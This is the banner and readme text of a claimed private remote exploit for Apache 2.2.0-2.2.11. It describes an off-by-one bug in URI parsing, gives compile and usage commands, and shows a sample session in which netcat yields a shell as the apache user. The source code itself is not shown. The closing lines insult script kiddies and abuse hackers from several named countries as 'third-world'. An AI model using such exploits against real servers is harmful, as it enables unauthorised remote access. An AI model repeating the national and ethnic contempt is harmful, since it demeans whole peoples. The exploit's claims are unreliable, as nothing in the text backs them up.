  !THIS 0DAY EXPLOIT IS PRIVATE PLEASE DO NOT DISTRIBUTE!
===========================================================

Apache 2.2.0 - 2.2.11 Remote exploit

Exploiting an off-by one bug in apr_uri_parse_hostinfo()
which leads to allocation of arbitrary ammount of memory,
put the shellcode then reliably jump in upon invocation
of the APR callback.

Compile: gcc fuckapache.c -o fuckapache

Usage: ./fuckapache <hostname> <port>

E.g:
===========================================================
[test@localhost tmp]$ ./fuck localhost 80
Connected, sending out the evil request...
Waiting some seconds to see if we got shell...
Now type nc localhost 12345 to see if you've got shell there
[test@localhost tmp]$ nc localhost 12345
id
uid=48(apache) gid=48(apache) groups=48(apache)
^D

==========================================================

Fuck all script kiddies around the world. No more free bugs, get lost.

Fuck all Indonesian, Malaysian, Pakistani, Saudi, Marrocan, Nigerian,
Turkish and other third-world *hack3rz* whose only contribution to the
world is writing dummy sqli scripts in python flooding the net
with BS like "kekekekeke" "ajjajaja" "i kill you".
Feel free to suck my balls, all of you.

Have phun :)
